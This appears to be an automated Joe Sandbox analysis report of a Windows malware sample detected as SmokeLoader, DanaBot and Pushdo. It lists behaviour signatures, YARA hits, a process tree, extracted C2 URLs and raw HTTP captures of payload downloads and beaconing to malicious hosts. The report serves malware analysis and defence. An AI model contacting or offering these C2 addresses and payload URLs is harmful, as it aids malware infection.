Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	809638
MD5:	2eb5b10c68bee816944a77e14547aea5
SHA1:	9402b5bd4893a0702a55c1abc6bbf770ecb30810
SHA256:	adc2da3b4abfed5a1459303456fe4b4743d91800d22cb108143ff2031e7b5206
Tags:	exeSmokeLoader
Infos:

Detection

Pushdo, DanaBot, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected DanaBot stealer dll

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Yara detected Backdoor Pushdo

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

PE file has a writeable .text section

Machine Learning detection for sample

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to infect the boot sector

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Drops PE files to the user directory

Dropped file seen in connection with other malware

Uses 32bit PE files

Yara signature match

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Connects to many different domains

AV process strings found (often used to terminate AV products)

Installs a raw input device (often for capturing keystrokes)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

file.exe (PID: 5176 cmdline: C:\Users\user\Desktop\file.exe MD5: 2EB5B10C68BEE816944A77E14547AEA5)

explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

EF7A.exe (PID: 972 cmdline: C:\Users\user\AppData\Local\Temp\EF7A.exe MD5: 87B2335C70644C8760842168AB533110)

D02D.exe (PID: 2108 cmdline: C:\Users\user\AppData\Local\Temp\D02D.exe MD5: 351E9D6C319A51D02291C57DCCD2837F)

DFC9.exe (PID: 4424 cmdline: C:\Users\user\AppData\Local\Temp\DFC9.exe MD5: A0114856020C2A20C6C85A7DB2027B03)

rgtrtas (PID: 5908 cmdline: C:\Users\user\AppData\Roaming\rgtrtas MD5: 2EB5B10C68BEE816944A77E14547AEA5)

D02D.exe (PID: 5788 cmdline: "C:\Users\user\AppData\Local\Temp\D02D.exe" MD5: 351E9D6C319A51D02291C57DCCD2837F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Pushdo	Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.	No Attribution	http://malware-traffic-analysis.net/2017/04/03/index2.html http://www.secureworks.com/research/threat-profiles/gold-essex https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ https://www.secureworks.com/research/pushdo	https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://perficut.at/tmp/", "http://rutobacco.ru/tmp/", "http://aingular.com/tmp /", "http://piratia-life.ru/tmp/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000002.384731155.000000000087B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7904:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000014.00000002.478090484.0000000002290000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000015.00000002.553332019.0000000001060000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000014.00000002.477652403.00000000007B1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xff8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000014.00000002.475830099.0000000000413000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000D.00000002.467983905.00000000005FB000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xd68:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.384643477.0000000000850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.306754047.00000000008BD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x70dc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000003.393821352.00000000030F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
20.2.D02D.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
20.2.D02D.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
21.2.DFC9.exe.1060000.2.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
13.2.D02D.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
13.2.D02D.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
21.2.DFC9.exe.1060000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
12.3.EF7A.exe.30f0000.0.unpack	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
12.3.EF7A.exe.30f0000.0.raw.unpack	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
Click to see the 3 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected DanaBot stealer dll

Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.393821352.00000000030F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://23.106.124.133/totti.exe

URL Reputation: Label: malware

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 35%
Source: file.exe	Virustotal: Detection: 32%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\DFC9.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Roaming\rgtrtas	ReversingLabs: Detection: 35%
Source: C:\Users\user\pigalicapi.exe	ReversingLabs: Detection: 20%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	Joe Sandbox ML: detected
Source: C:\Users\user\pigalicapi.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EF7A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DFC9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\rgtrtas	Joe Sandbox ML: detected

Source: 21.2.DFC9.exe.1060000.2.unpack	Avira: Label: TR/Spy.Gen
Source: 21.2.DFC9.exe.1440000.3.unpack	Avira: Label: TR/Patched.Gen
Source: 20.2.D02D.exe.24a212c.2.unpack	Avira: Label: TR/Patched.Ren.Gen7
Source: 21.2.DFC9.exe.106e290.1.unpack	Avira: Label: TR/Downloader.Gen
Source: 21.2.DFC9.exe.380000.0.unpack	Avira: Label: TR/ATRAPS.Gen4
Source: 21.0.DFC9.exe.380000.0.unpack	Avira: Label: TR/ATRAPS.Gen4

Source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://perficut.at/tmp/", "http://rutobacco.ru/tmp/", "http://aingular.com/tmp /", "http://piratia-life.ru/tmp/"]}

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 20.2.D02D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.D02D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.475830099.0000000000413000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Unpacked PE file: 13.2.D02D.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Unpacked PE file: 20.2.D02D.exe.400000.0.unpack

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\DFC9.exe

Unpacked PE file: 21.2.DFC9.exe.1060000.2.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 190.114.9.88:443 -> 192.168.2.3:49706 version: TLS 1.2

Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: D02D.exe, D02D.exe, 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmp, D02D.exe, 00000014.00000002.475830099.0000000000410000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\sepejunic.pdb source: file.exe
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp, D02D.exe, 00000014.00000002.478203497.000000000249C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\kamoterek\nace34_ye.pdb source: D02D.exe, 0000000D.00000000.409242643.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, D02D.exe, 00000014.00000000.440291136.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp, D02D.exe, 00000014.00000002.478203497.000000000249C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yafeb\tayilacekox\nic.pdb source: EF7A.exe, 0000000C.00000000.389807114.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: %"574C:\kamoterek\nace34_ye.pdb source: D02D.exe, 0000000D.00000000.409242643.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, D02D.exe, 00000014.00000000.440291136.0000000000401000.00000020.00000001.01000000.0000000A.sdmp

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: perficut.at
Source: C:\Windows\explorer.exe	Network Connect: 37.234.187.254 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.106.124.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h167471.srv11.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 190.114.9.88 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 79.102.150.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.126 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: beg.com.ve
Source: C:\Windows\explorer.exe	Network Connect: 187.209.149.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 210.182.29.70 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.140.74.43 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.11 80	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://perficut.at/tmp/
Source: Malware configuration extractor	URLs: http://rutobacco.ru/tmp/
Source: Malware configuration extractor	URLs: http://aingular.com/tmp /
Source: Malware configuration extractor	URLs: http://piratia-life.ru/tmp/

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.2Date: Thu, 16 Feb 2023 10:49:10 GMTContent-Type: application/octet-streamContent-Length: 3884544Last-Modified: Thu, 16 Feb 2023 10:40:03 GMTConnection: keep-aliveETag: "63ee0803-3b4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 12 2b 9d 19 73 45 ce 19 73 45 ce 19 73 45 ce 07 21 d0 ce 04 73 45 ce 07 21 c6 ce 70 73 45 ce 07 21 c1 ce 31 73 45 ce 3e b5 3e ce 10 73 45 ce 19 73 44 ce 99 73 45 ce 07 21 cf ce 18 73 45 ce 07 21 d1 ce 18 73 45 ce 07 21 d4 ce 18 73 45 ce 52 69 63 68 19 73 45 ce 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d7 ef c3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 22 01 00 00 f8 4c 00 00 00 00 00 9f 67 00 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 4f 00 00 04 00 00 e4 cd 3b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 26 01 00 64 00 00 00 00 b0 4c 00 98 42 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 4f 00 c4 0b 00 00 f0 11 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 41 00 00 18 00 00 00 c0 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 20 01 00 00 10 00 00 00 22 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 69 4b 00 00 40 01 00 00 92 38 00 00 26 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 52 02 00 00 b0 4c 00 00 44 01 00 00 b8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 42 48 00 00 00 10 4f 00 00 4a 00 00 00 fc 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Thu, 16 Feb 2023 10:50:07 GMTContent-Type: application/octet-streamContent-Length: 459264Connection: keep-aliveKeep-Alive: timeout=20Last-Modified: Thu, 16 Feb 2023 07:11:07 GMTETag: "70200-5f4cbe68c35fb"Accept-Ranges: bytesX-Power-Supply-By: 220 VoltData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 7d cf 7a f5 1c a1 29 f5 1c a1 29 f5 1c a1 29 ce 42 a2 28 e6 1c a1 29 ce 42 a4 28 90 1c a1 29 ce 42 a5 28 e7 1c a1 29 41 80 50 29 e3 1c a1 29 41 80 52 29 8f 1c a1 29 41 80 53 29 ea 1c a1 29 28 e3 6a 29 f6 1c a1 29 f5 1c a0 29 79 1c a1 29 f5 1c a1 29 fd 1c a1 29 62 42 a3 28 f4 1c a1 29 52 69 63 68 f5 1c a1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b6 75 eb 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 32 03 00 00 e2 03 00 00 00 00 00 69 82 00 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 60 05 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 00 94 36 00 00 10 1d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1d 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 96 02 00 00 10 00 00 00 98 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 60 98 00 00 00 b0 02 00 00 9a 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 18 1b 02 00 00 50 03 00 00 1c 02 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 66 01 00 00 70 05 00 00 52 01 00 00 52 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 64 0a 00 00 00 e0 06 00 00 0c 00 00 00 a4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 65 62 75 67 5f 6f 50 19 00 00 00 f0 06 00 00 1a 00 00 00 b0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 65 6c 6f 63 00 00 94 36 00 00 00 10 07 00 00 38 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beg.com.ve
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mpgrnvliti.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yloravu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pnphhtrvf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: perficut.at
Source: global traffic	HTTP traffic detected: GET /totti.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.106.124.133
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wfofmsqw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ublja.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: perficut.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gqjdijg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: perficut.at
